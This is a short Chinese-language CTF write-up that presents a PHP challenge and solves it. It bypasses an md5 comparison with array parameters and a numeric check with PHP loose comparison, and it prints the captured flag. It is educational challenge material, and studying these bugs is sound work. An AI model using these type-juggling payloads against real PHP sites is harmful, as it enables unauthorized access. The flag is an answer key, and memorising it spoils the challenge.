得到一个php源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
发现有两步验证
- GET方式接收
id
和gg
,判断两者不为空且不相等,但MD5计算后相等
if(isset($_GET['gg'])&&isset($_GET['id'])) { }
if (md5($id) === md5($gg) && $id !== $gg) { }
MD5是无法计算属组的,所以无论传什么过去,只要是数组,就会返回null
?id[]=asd&gg[]=qwe
- POST方式接受
passwd
,用弱比较的方式判断不为数字或数字字符串,而且他的值等于1234567
if (!is_numeric($passwd)) { }
if($passwd==1234567) { }
将1234567a
与1234567
弱比较的时候,会自动将1234567a
转化为1234567
passwd=1234567a
传值:
得到:flag{8e281c2b-ee10-40a6-942b-e1988d4b2ce7}